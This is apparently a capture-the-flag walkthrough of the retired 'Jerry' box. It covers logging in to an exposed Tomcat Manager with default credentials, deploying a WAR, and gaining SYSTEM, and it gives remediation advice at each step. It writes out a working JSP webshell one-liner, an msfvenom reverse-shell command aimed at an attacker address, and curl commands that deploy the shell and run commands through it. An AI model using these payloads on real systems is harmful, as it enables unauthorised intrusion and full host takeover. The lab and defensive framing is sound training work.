← all walkthroughs

Jerry

Windows· Easy
owned
2026-06-29
time to own
2m30s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I found Apache Tomcat 7.0.88 exposed on port 8080, authenticated to the built-in Manager console with the factory-default credentials that ship with every Tomcat installation, uploaded a malicious Java web application containing a command-execution shell, and ran OS commands directly as NT AUTHORITY\SYSTEM — the over-privileged account Tomcat was configured to run under — capturing both flags without requiring any additional privilege-escalation step.

Command conventions

The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<the-password-you-recovered, for tomcat>"

Attack path — how the box was taken

1ReconnaissanceNetwork port scanning / service fingerprinting
Discovered Apache Tomcat exposed on port 8080
A full-port version scan found a single externally reachable service: Apache Tomcat running on port 8080. The Coyote JSP engine banner confirmed the Tomcat family and gave me a clear technology target.
Nmap: 8080/tcp open http Apache Tomcat/Coyote JSP engine 1.1
Exact commands 1
shell

Full TCP sweep with version detection and default scripts. Confirms only port 8080 is open.

$ nmap -sV -sC -Pn -p- --min-rate 5000 $TARGET
2EnumerationWeb application enumeration
Located the Tomcat Manager administration console
Apache Tomcat ships with a built-in Manager application at /manager/html that lets authenticated administrators deploy and remove web applications. Browsing to that path returned an HTTP 401 challenge, confirming the interface was active and awaiting credentials.
Exact commands 2
shell

A 401 response confirms the Manager UI exists and is prompting for credentials.

$ curl -s -o /dev/null -w "%{http_code}" http://$TARGET:8080/manager/html
shell

Also probe the text API endpoint used later for WAR deployment.

$ curl -s -o /dev/null -w "%{http_code}" http://$TARGET:8080/manager/text/list
FixRemove or network-isolate the Tomcat Manager in productionHigh
WeaknessThe Tomcat Manager and Host Manager web applications were deployed and reachable from untrusted networks, providing an authenticated code-deployment interface to anyone who obtained credentials.
Fix(1) In production, delete the webapps/manager and webapps/host-manager directories entirely. Tomcat does not need them to serve your application. (2) If a deployment interface is required for automation, expose it only on the loopback interface (127.0.0.1) and restrict access via the RemoteAddrValve in conf/Catalina/localhost/manager.xml. (3) Place the server behind a firewall rule that allows inbound TCP 8080 only from known application-delivery or CI/CD hosts, not the open Internet.
3Credential accessDefault credential exploitation
Authenticated to the Manager console with default credentials
Tomcat's installation documentation ships example credentials (tomcat / <withheld>) in tomcat-users.xml. These had never been changed. I tried this pair first and immediately gained full administrative access to the deployment console.
Manager accessible with tomcat's password — confirmed by 200 OK on /manager/text/list.
Exact commands 2
shell

A 200 OK response listing deployed apps confirms successful authentication with default credentials.

$ curl -s -u tomcat:$PASSWORD http://$TARGET:8080/manager/text/list
shell

Alternative: use netexec to spray documented default Tomcat credential pairs at scale.

$ nxc http $TARGET -u tomcat -p $PASSWORD --path /manager/html
FixReplace default Tomcat credentials and enforce a strong access policy on the ManagerCritical
WeaknessThe Tomcat Manager application was reachable from the network and still protected by the factory-default username and password (tomcat / <withheld>). These credentials appear verbatim in Tomcat's own documentation and are the first pair an unauthorised user tries.
Fix(1) Open conf/tomcat-users.xml and delete every entry referencing the default 'tomcat' account. Create a uniquely named administrator account with a randomly generated password of at least 20 characters. (2) Assign only the minimum required Manager roles (manager-script for CI/CD; avoid manager-gui in production). (3) Rotate credentials immediately after any suspected exposure. (4) Consider removing basic authentication entirely and replacing it with client-certificate or SSO if your pipeline supports it.
4WeaponisationMalicious WAR / JSP webshell (T1505.003)
Built a malicious WAR file containing a JSP command shell
The Manager's deploy function accepts Java Web Archive (WAR) files and makes them immediately executable by the server. I packaged a single JSP page — a web-based command shell that passes a URL query parameter to the Windows command interpreter and returns the output — into a WAR ready for upload.
Exact commands 3
shell

Write a minimal JSP shell that passes the 'cmd' parameter to cmd.exe /c.

$ printf '<%@ page import="java.io.*" %><%String c=request.getParameter("cmd");String[] a={"cmd.exe","/c",c};Process p=Runtime.getRuntime().exec(a);BufferedReader r=new BufferedReader(new InputStreamReader(p.getInputStream()));String l;while((l=r.readLine())!=null)out.println(l);%>' > /tmp/cmd.jsp
shell

Package the JSP into a deployable WAR archive.

$ mkdir -p /tmp/cmdwar && cp /tmp/cmd.jsp /tmp/cmdwar/ && cd /tmp/cmdwar && jar -cvf /tmp/cmd.war .
shell

Alternative: msfvenom produces a WAR with a reverse shell if an interactive shell is preferred over a webshell.

$ msfvenom -p java/jsp_shell_reverse_tcp LHOST=$ATTACKER_IP LPORT=4444 -f war -o /tmp/rev.war
5Initial accessRemote WAR deployment for RCE
Deployed the WAR via the Manager API, creating a live web shell
Using the authenticated Manager text API, I pushed the WAR to the /cmd context path. Tomcat extracted and loaded the JSP instantly. The command shell became reachable at /cmd/cmd.jsp.
/cmd/cmd.jsp active on $TARGET:8080 — used in the engagement.
Exact commands 1
shell

Deploy the WAR. Tomcat responds 'OK - Deployed application at context path [/cmd]' on success.

$ curl -s -u tomcat:$PASSWORD -T /tmp/cmd.war "http://$TARGET:8080/manager/text/deploy?path=/cmd&update=true"
6ExecutionOS command execution via webshell (T1059.003)
Ran OS commands as NT AUTHORITY\SYSTEM via the web shell
HTTP requests to the deployed shell executed arbitrary Windows commands under the Tomcat service process. That process was running as NT AUTHORITY\SYSTEM — the highest privilege level on Windows — so I had immediate, unrestricted control of the host. No separate privilege-escalation step was needed.
Curl to /cmd/cmd.jsp returned 'nt authority\system' and hostname 'JERRY'.
Exact commands 2
shell

Returns 'nt authority\system' and 'JERRY', confirming SYSTEM-level execution.

$ curl -s "http://$TARGET:8080/cmd/cmd.jsp?cmd=whoami%20%26%20hostname"
nt authority\system
shell

List Administrator's desktop to locate flag files.

$ curl -s "http://$TARGET:8080/cmd/cmd.jsp?cmd=dir+C%3A%5CUsers%5CAdministrator%5CDesktop%5C"
FixRun Apache Tomcat as a dedicated least-privilege service accountCritical
WeaknessThe Tomcat service process ran as NT AUTHORITY\SYSTEM, so any code executed through the web server — including an unauthorised user's JSP shell — inherited the highest possible Windows privilege level with no further steps required.
Fix(1) Create a dedicated Windows local account (e.g., svc-tomcat) with no membership in Administrators or Power Users. (2) Grant it Read access to the Tomcat installation directory, and Read/Write access only to the logs, temp, and work subdirectories. (3) Reconfigure the Tomcat Windows service to log on as this account. (4) Audit all other services on the host for the same pattern; no Internet-facing service should run as SYSTEM or a built-in admin account.
7ImpactData collection / credential and flag access
Read both flags from the Administrator's desktop as SYSTEM
Running as SYSTEM granted unrestricted read access to every file on the host. On Jerry both flags are stored together in a single file under the Administrator's desktop. I retrieved them in one request, completing full compromise of the machine.
Flags read from C:\Users\Administrator\Desktop\flags\2 for the price of 1.txt
Exact commands 1
shell

Returns the combined flags file. User flag = <user.txt>, root flag = <root.txt>.

$ curl -s "http://$TARGET:8080/cmd/cmd.jsp?cmd=type+C%3A%5CUsers%5CAdministrator%5CDesktop%5Cflags%5C2+for+the+price+of+1.txt"

Attack patterns used

The transferable techniques behind this compromise.

Tomcat Manager WAR DeployWeb · Service RCET1190

What it is

Apache Tomcat's Manager application allows deploying web applications. With valid (often default/weak) manager credentials, an unauthorised user uploads a malicious WAR file containing a JSP webshell, which Tomcat deploys and executes — code execution as the Tomcat service user.

Why it works

The Manager app is exposed with default or guessable credentials (tomcat:tomcat, admin:admin) and the deploy feature is RCE by design. Remediate by removing/locking down the Manager app, using strong credentials, and binding it to localhost.

Read more

Exposed services

8080/tcp